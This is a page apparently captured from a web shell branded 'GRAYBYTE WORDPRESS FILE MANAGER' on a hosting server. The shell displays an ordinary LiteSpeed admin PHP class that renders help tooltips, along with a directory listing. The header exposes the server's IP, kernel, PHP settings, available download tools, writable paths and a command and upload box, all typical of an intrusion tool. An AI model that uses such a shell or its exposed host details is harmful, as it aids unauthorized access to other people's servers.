GRAYBYTE WORDPRESS FILE MANAGER3681

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/local/lsws/admin/html.6.3.3/classes/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/local/lsws/admin/html.6.3.3/classes//DATTR_HELP_ITEM.php
<?php

class DATTR_HELP_ITEM
{
	private $name;
	private $desc;
	private $tips;
	private $syntax;
	private $example;

	function __construct($name, $desc, $tips = NULL, $syntax = NULL, $example = NULL) {

		$this->name = $name;
		$this->desc = $desc;
		$this->tips = str_replace('<br>', '<br/>', $tips);
		$this->syntax = $syntax;
		$this->example = $example;
	}

	function render($key, $blocked_reason='')
	{
		$key = str_replace(array(':','_'), '', $key );
		$buf = '<img class="xtip-hover-' . $key . '" src="/static/images/icons/help.png">'
			. '<div id="xtip-note-' . $key . '" class="snp-mouseoffset notedefault"><b>'
			. $this->name
			. '</b>' ;
        if ($blocked_reason) {
            $buf .= " <i>$blocked_reason</i>";
        }
		$buf .= '<hr size=1 color=black>'
			. $this->desc
			. '<br><br>';
		if ($this->syntax) {
			$buf .= '<strong>Syntax:</strong> '
				. $this->syntax
				. '<br><br>';
		}
		if ($this->example) {
			$buf .= '<strong>Example:</strong> '
				. $this->example
				. '<br><br>';
		}
		if ($this->tips) {
			$buf .= '<strong>Tip(s):</strong><ul type=circle>';
			$tips = explode('<br/>', $this->tips);
			foreach($tips as $ti) {
				$ti = trim($ti);
				if ($ti != '')
					$buf .= '<li>' . $ti . '</li>';
			}
			$buf .= '</ul>';
		}

		$buf .= '</div>';
		return $buf;
	}


	function render0($key, $blocked_version=0)
	{
		$key = str_replace(array(':','_'), '', $key );
		$buf = '<img class="xtip-hover-' . $key . '" src="/static/images/icons/help.png">'
			. '<div id="xtip-note-' . $key . '" class="snp-mouseoffset notedefault"><b>'
			. $this->name
			. '</b>' ;
		switch ($blocked_version) {
			case 0: break;
			case 1:  // LSWS ENTERPRISE;
				$buf .= ' <i>This feature is available in Enterprise Edition</i>';
				break;
			case 2: // LSWS 2CPU +
			case 3: // LSLB 2CPU +
				$buf .= ' <i>This feature is available for Multiple-CPU license</i>';
				break;
			//case 4: // NCPU
			//	$buf .= ' <i>This feature is available for Unlimited-CPU license</i>';
			//	break;
		}
		$buf .= '<hr size=1 color=black>'
			. $this->desc
			. '<br><br>';
		if ($this->syntax) {
			$buf .= '<strong>Syntax:</strong> '
				. $this->syntax
				. '<br><br>';
		}
		if ($this->example) {
			$buf .= '<strong>Example:</strong> '
				. $this->example
				. '<br><br>';
		}
		if ($this->tips) {
			$buf .= '<strong>Tip(s):</strong><ul type=circle>';
			$tips = explode('<br/>', $this->tips);
			foreach($tips as $ti) {
				$ti = trim($ti);
				if ($ti != '')
					$buf .= '<li>' . $ti . '</li>';
			}
			$buf .= '</ul>';
		}

		$buf .= '</div>';
		return $buf;
	}

}


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 13 2025 13:48:10
root / root
0755
ws
--
June 13 2025 13:48:10
root / root
0755
CValidation.php
26.646 KB
June 13 2025 13:48:10
root / root
0644
ConfData.php
0.84 KB
June 13 2025 13:48:10
root / root
0644
ConfigFile.php
13.871 KB
June 13 2025 13:48:10
root / root
0644
ConfigFileEx.php
4.682 KB
June 13 2025 13:48:10
root / root
0644
CustStatusCode.php
2.186 KB
June 13 2025 13:48:10
root / root
0644
DATTR_HELP.php
0.755 KB
June 13 2025 13:48:10
root / root
0644
DATTR_HELP_ITEM.php
2.534 KB
June 13 2025 13:48:10
root / root
0644
DAttrBase.php
12.424 KB
June 13 2025 13:48:10
root / root
0644
DFileSect.php
0.568 KB
June 13 2025 13:48:10
root / root
0644
DPage.php
3.752 KB
June 13 2025 13:48:10
root / root
0644
DTbl.php
17.524 KB
June 13 2025 13:48:10
root / root
0644
DUtil.php
4.218 KB
June 13 2025 13:48:10
root / root
0644
DispInfo.php
4.358 KB
June 13 2025 13:48:10
root / root
0644
GUIBase.php
3.255 KB
June 13 2025 13:48:10
root / root
0644
PathTool.php
3.017 KB
June 13 2025 13:48:10
root / root
0644
XmlTreeBuilder.php
3.266 KB
June 13 2025 13:48:10
root / root
0644
blowfish.php
25.677 KB
June 13 2025 13:48:10
root / root
0644
jCryption.php
15.917 KB
June 13 2025 13:48:10
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF